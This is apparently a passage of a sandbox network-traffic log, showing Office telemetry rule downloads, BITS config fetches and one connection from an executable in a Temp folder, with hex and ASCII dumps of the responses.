2024-11-23 02:21:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49893	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:54 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 02:21:55 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=51775 Date: Sat, 23 Nov 2024 02:21:54 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:55 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022155Z-15b8b599d882l6clhC1TEBxd5c000000026g000000009v4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:55 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:55 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:55 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 734d7ed2-001e-002b-08e4-3c99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022155Z-178bfbc474bp8mkvhC1NYCzqnn00000003m000000000ky76 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:55 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:55 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:55 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: d029e12f-101e-00a2-1e39-3c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022155Z-178bfbc474bfw4gbhC1NYCunf400000003x000000000421g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:55 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:56 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:56 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:56 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 1eb9d342-301e-005d-4e03-3de448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022156Z-178bfbc474b9fdhphC1NYCac0n00000003p000000000pa7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 02:21:56 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49905	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:56 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 02:21:57 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0SyaoYgAAAACHM3u5nQtYS605XTu+5FyaTE9OMjFFREdFMDIxMgBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=51873 Date: Sat, 23 Nov 2024 02:21:56 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 02:21:57 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:56 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:56 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022156Z-174c587ffdfmlsmvhC1TEBvyks00000002cg00000000has1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:57 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:57 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:58 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: c5eeb4a2-c01e-002b-3260-3c6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022158Z-15b8b599d889gj5whC1TEBfyk0000000022g00000000f2zy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:58 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:58 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:58 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: ce856bd5-501e-007b-6157-3c5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022158Z-15b8b599d882hxlwhC1TEBfa5w000000025g00000000cbdq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:58 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:58 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:58 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 95a88f05-701e-001e-7f87-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022158Z-15b8b599d88wn9hhhC1TEBry0g00000002f00000000005cg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:58 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:58 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:58 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022158Z-174c587ffdf9xbcchC1TEBxkz4000000028g0000000003d4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:59 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:59 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:59 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: b5bbaf22-a01e-0070-528a-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022159Z-174c587ffdftv9hphC1TEBm29w00000002a0000000001w58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:59 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49913	172.67.162.84	443	2132	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
